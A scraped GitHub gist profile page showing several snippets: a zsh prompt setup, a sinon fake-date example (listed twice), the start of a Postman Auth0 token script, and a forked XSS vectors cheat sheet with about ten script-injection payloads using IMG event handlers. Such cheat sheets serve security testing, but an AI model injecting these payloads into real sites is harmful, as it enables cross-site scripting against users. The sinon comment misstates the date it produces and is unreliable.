Skip to content

Instantly share code, notes, and snippets.

View josbelvivial's full-sized avatar

Josbel Luna josbelvivial

View GitHub Profile
# Set up the prompt
autoload -Uz promptinit
promptinit
prompt adam1
setopt histignorealldups sharehistory
# Use emacs keybindings even if our EDITOR is set to vi
bindkey -e
@josbelvivial
josbelvivial / xss_vectors.txt
Created June 13, 2020 18:43 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@josbelvivial
josbelvivial / fake-date-sinon-node-js
Created May 1, 2020 17:48 — forked from irokhes/fake-date-sinon-node-js
Fake a date in node.js for testing with sinon
clock = sinon.useFakeTimers(new Date(2016,11,1).getTime());
new Date(); //=> return the fake Date 'Sat Nov 01 2016 00:00:00'
clock.restore();
new Date(); //=> will return the real time again (now)
@josbelvivial
josbelvivial / fake-date-sinon-node-js
Created May 1, 2020 17:48 — forked from irokhes/fake-date-sinon-node-js
Fake a date in node.js for testing with sinon
clock = sinon.useFakeTimers(new Date(2016,11,1).getTime());
new Date(); //=> return the fake Date 'Sat Nov 01 2016 00:00:00'
clock.restore();
new Date(); //=> will return the real time again (now)
@josbelvivial
josbelvivial / auth.js
Created February 17, 2020 14:37
get-postman-token
function getIdToken() {
const access_token = pm.variables.get('access_token');
if (!access_token) {
console.log(`access_token: ${access_token}`)
}
const auth0_client_id = pm.variables.get('auth0_client_id');
const client_secret = pm.variables.get('client_secret');
const auth0_domain = pm.variables.get('auth0_domain');